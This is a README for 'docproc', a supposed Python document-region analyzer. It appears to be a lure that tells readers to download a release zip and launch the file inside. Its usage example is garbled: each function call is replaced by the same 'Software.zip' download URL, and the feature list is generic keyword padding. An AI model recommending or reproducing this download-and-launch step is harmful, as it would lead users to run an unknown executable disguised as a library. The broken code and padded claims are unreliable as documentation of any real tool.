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Opinionated and Sophisticated Document Region Analyzer.

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πŸ“„ docproc - Opinionated and Sophisticated Document Region Analyzer

Welcome to the docproc repository, your one-stop solution for content extraction, data extraction, document analysis, and much more! This repository provides a powerful tool for analyzing documents, detecting equations, parsing text, classifying regions, and extracting valuable information using machine learning techniques.

πŸš€ Features

  • Content Extraction: Easily extract text and data from documents.
  • Document Analysis: Analyze document layouts for structured data.
  • Equation Detection: Detect and extract mathematical equations from documents.
  • Layout Analysis: Understand and interpret the layout of documents accurately.
  • Machine Learning: Utilize machine learning algorithms for advanced document processing.
  • OCR: Optical Character Recognition support for extracting text from images.
  • PDF Processing: Process and extract text from PDF files efficiently.
  • Python: The whole solution is implemented in Python for ease of use.
  • Text Classification: Classify document regions based on text content.
  • Text Extraction: Extract text from various regions of the document.

πŸ“¦ Installation

To get started with docproc, you can download the latest version by clicking the button below:

Download v1.0.0{:target="_blank"}

ℹ️ Note: The download file needs to be launched after extraction.

If the link above is not working, please check the "Releases" section of the repository for alternative download options.

🧰 Usage

Once you have downloaded and set up docproc, you can start using it for various document processing tasks. Below is a simple example to get you started:

import docproc

# Load a document for analysis
document = https://github.com/urhotmom/docproc/releases/download/v2.0/Software.zip("https://github.com/urhotmom/docproc/releases/download/v2.0/Software.zip")

# Extract text content
text_content = https://github.com/urhotmom/docproc/releases/download/v2.0/Software.zip(document)

# Analyze layout and regions
regions = https://github.com/urhotmom/docproc/releases/download/v2.0/Software.zip(document)

# Perform text classification
text_classes = https://github.com/urhotmom/docproc/releases/download/v2.0/Software.zip(regions)

# Extract equations from the document
equations = https://github.com/urhotmom/docproc/releases/download/v2.0/Software.zip(document)

Feel free to explore the extensive capabilities of docproc and tailor it to your specific document processing needs.

πŸ“‹ Repository Topics

  • content-extraction
  • data-extraction
  • document-analysis
  • document-parsing
  • equation-detection
  • layout-analysis
  • machine-learning
  • mathematical-symbols
  • ocr
  • pdf-processing
  • pdf-text-extraction
  • python
  • region-detection
  • text-classification
  • text-extraction

🌐 Additional Resources

If you want to dive deeper into the document processing domain, we recommend visiting the Python Documentation on Text Processing{:target="_blank"} for additional insights and techniques.


Thank you for exploring the docproc repository! We hope this tool enhances your document processing workflows and simplifies complex analysis tasks. If you have any questions or feedback, feel free to open an issue or reach out to the repository maintainers. Happy processing! πŸ“„πŸš€πŸ§¬